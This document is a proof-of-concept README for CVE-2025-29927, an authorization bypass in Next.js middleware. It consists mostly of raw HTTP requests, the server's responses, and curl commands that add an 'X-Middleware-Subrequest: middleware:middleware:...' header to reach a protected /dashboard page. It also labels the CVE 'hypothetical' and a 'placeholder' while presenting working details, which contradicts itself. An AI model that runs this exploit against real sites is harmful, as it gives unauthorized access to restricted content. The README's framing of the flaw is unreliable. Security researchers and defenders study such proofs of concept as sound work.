CVE-2025-29927-POC

Introduction

This repository contains a Proof of Concept (PoC) for CVE-2025-29927, a hypothetical vulnerability demonstrating a flaw in middleware handling within a web application. The PoC illustrates how a specially crafted HTTP request can bypass redirection logic to access restricted content, such as a dashboard. This project is designed for educational and security research purposes only.

Disclaimer: This PoC is intended for use in controlled environments with explicit permission. Unauthorized testing against systems you do not own or have consent to test is illegal and unethical.

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Table of Contents

• Prerequisites
• Vulnerability Overview
• Proof of Concept Steps
  • Step 1: Initial Request (Unsuccessful)
  • Step 2: Modified Request (Successful)
• How to Replicate
• References
• Contributing
• License

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Prerequisites

To follow this PoC, you’ll need:

• A target server (e.g., abc.com) running a vulnerable configuration (specific software/version TBD based on CVE details).
• An HTTP client tool like curl (curl.se), Burp Suite (portswigger.net/burp), or a custom script.
• Basic knowledge of HTTP protocols and headers (see MDN HTTP Documentation).

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Vulnerability Overview

CVE-2025-29927 (placeholder; replace with official CVE details when available) appears to exploit a middleware misconfiguration or logic flaw. The PoC demonstrates that adding a custom header (X-Middleware-Subrequest) alters the server’s behavior, bypassing a redirection mechanism to access restricted content. This likely relates to how middleware (e.g., Nginx with Next.js) processes subrequests or validates headers.

For more on middleware vulnerabilities, refer to OWASP Middleware Security.

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Proof of Concept Steps

The PoC consists of two steps: an initial unsuccessful request and a modified successful request. Each step includes the HTTP request, response, and detailed explanation.

Step 1: Initial Request (Unsuccessful)

This step demonstrates the default server behavior when accessing the /dashboard endpoint without additional headers.

HTTP Request

GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP Response

HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

Explanation

• Request Details:
  • GET /dashboard: Attempts to access the dashboard endpoint.
  • Standard headers like User-Agent and Accept mimic a typical browser request.
• Response Details:
  • 307 Temporary Redirect: Indicates the server redirects the client, likely due to authentication, authorization, or routing logic (e.g., redirecting to a login page).
  • Server: nginx/1.14.1: Identifies the web server software.
• Analysis: The redirection suggests a protective mechanism preventing direct access to /dashboard. The lack of a Location header in this response (possibly omitted for brevity) implies the redirect destination is elsewhere.
• Reference: Learn more about HTTP status codes at MDN HTTP Status.

Step 2: Modified Request (Successful)

This step introduces a custom header to bypass the redirection, successfully retrieving the dashboard content.

HTTP Request

GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP Response

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

Explanation

• Request Details:
  • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: A custom header added to the original request. The repeated middleware string may exploit a parsing or validation flaw in the middleware stack.
  • Other headers remain unchanged from Step 1.
• Response Details:
  • 200 OK: Confirms successful access to the dashboard content.
  • Content-Type: text/html; charset=utf-8: Indicates an HTML response, likely the dashboard page.
  • X-Powered-By: Next.js: Suggests the application uses Next.js, a React framework that often relies on middleware for routing.
  • Cache-Control: Prevents caching, typical for dynamic, user-specific content.
  • Content-Length: 30174: Size of the response body in bytes.
• Analysis: The X-Middleware-Subrequest header likely tricks the middleware into treating the request as a legitimate subrequest, bypassing the redirect logic. This could indicate a vulnerability in how subrequests are validated or processed.
• Reference: Explore Next.js middleware at Next.js Documentation.

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How to Replicate

Follow these steps to replicate the PoC using curl:

Step 1: Send the Initial Request

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Expected Output: A 307 Temporary Redirect response.

Step 2: Send the Modified Request

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Expected Output: A 200 OK response with the dashboard content.

Note: Replace abc.com with the actual target domain if testing in an authorized environment.

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References

• CVE Details - Official CVE database (update with specific CVE link when available).
• MDN HTTP Documentation - HTTP protocol basics.
• Next.js Middleware - Information on Next.js middleware behavior.
• OWASP Middleware Security - Middleware vulnerability overview.
• curl Manual - Guide to using curl for HTTP requests.

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License

This project is licensed under the MIT License. See the LICENSE file for details.